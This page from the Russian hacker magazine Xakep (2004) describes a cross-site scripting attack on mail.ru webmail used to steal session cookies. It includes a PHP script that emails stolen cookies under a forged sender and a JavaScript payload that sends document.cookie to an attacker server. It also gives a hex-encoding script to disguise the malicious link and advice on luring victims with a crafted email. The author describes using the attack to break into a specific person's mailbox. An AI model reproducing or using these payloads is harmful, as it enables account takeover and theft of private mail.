Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #68, АВГУСТ 2004 г.

MAIL.RU взломан!

NSD (www.nsd.ru)

Xakep, номер #068, стр. 068-056-3


Я сразу просек тему, да и ты, думаю, уже догадался, что вместо «дохрена» без проблем можно вставить любую html-конструкцию - например, элементарную JS-программу. Теперь я мог сконструировать такую ссылку, перейдя по которой, моя жертва выполняла на своем компьютере вредоносный код, передающий идентификатор сессии моему php-скрипту.

Готовим инструмент

Для реализации атаки я написал два скрипта: первый крадет кукисы и передает их второму, который отсылает секретные данные мне на мыло.

Php-cкрипт для отправки кукиса на мыло хакера

$from = "bill@microsoft.com"; // от кого

$email = "hacker@hacker.ru"; // куда отправить

$topic = "Украденный у юзера mail.ru cookie"; // тема письма

$message = $QUERY_STRING; // тело письма

// (оно как раз и будет содержать похищенные данные из кукиса)

// собираем заголовки

$headers = "From: ".$from."\r\nReply-To: ".$from."\r\n";

$headers .= "MIME-Version: 1.0\r\n";

$headers .= "Content-Type: text/plain;";

$body .= $message."\r\n\r\n";

mail ($email, $topic, $body, $headers); // отправляем

А так выглядит сам встраиваемый яваскрипт:

>script<document.write('>img width=1 height=1 src="http://hacker_server/cookie_send.php?'+document.cookie+'"<');>/script<. Теперь формируем URL, содержащий вредоносный javascript. Выглядеть он будет так: http://www.mail.ru/sendmsgok?To=b00b1ik@real.xakep.ru&Subject=Привет, дырявая дырка&From=&user=i@mail.ru&TotalUnread=1 >script<document.write('>img width=1 height=1 src="http://hacker_server/cookie_send.php?'+document.cookie+'"<');>/script<&ReturnPath=win.mail.ru/cgi-bin. Ссылка эта, правда, выглядит достаточно подозрительно, поэтому многие пользователи просто побояться на нее нажимать. Чтобы решить эту проблему, я закодировал каждую букву параметров в шестнадцатеричное представление, что резко увеличило вероятность успеха. В этом мне помог незамысловатый скрипт, написанный на том же PHP:

>? $str = str_replace("%20", " ", $QUERY_STRING);

for($i=0;$i>strlen($str);$i++)

{$hex=dechex(ord($str[$i]));

if ($str[$i]=='&') echo "$str[$i]";

else if ($str[$i]!='\\') echo "%$hex";

} ?<

Теперь осталось только написать пользователю душещипательное письмо и поместить в него закодированную ссылку. Как только ламер прочитает послание и кликнет по линку, кукис с идентификатором его сессии будет у нас в руках.

Action, action!

Давай посмотрим, как это происходит на практике. Однажды мне потребовалось получить доступ к одному очень важному ящику, назовем его lopuh@mail.ru. Я залил скрипт cookie_send.php на свой сервер nsd.ru, в результате чего смертельный URL принял следующий вид: www.mail.ru/sendmsgok?To=b00b1ik@real.xakep.ru&Subject=Привет, дырявая дырка&From=&user=lopuh@mail.ru&TotalUnread=1>script<document.write('>img width=1 height=1 src="http://nsd.ru/test/cookie_send.php?'+document.cookie+'"<');>/script<&ReturnPath=win.mail.ru/cgi-bin.

Назад на стр. 068-056-2  Содержание  Вперед на стр. 068-056-4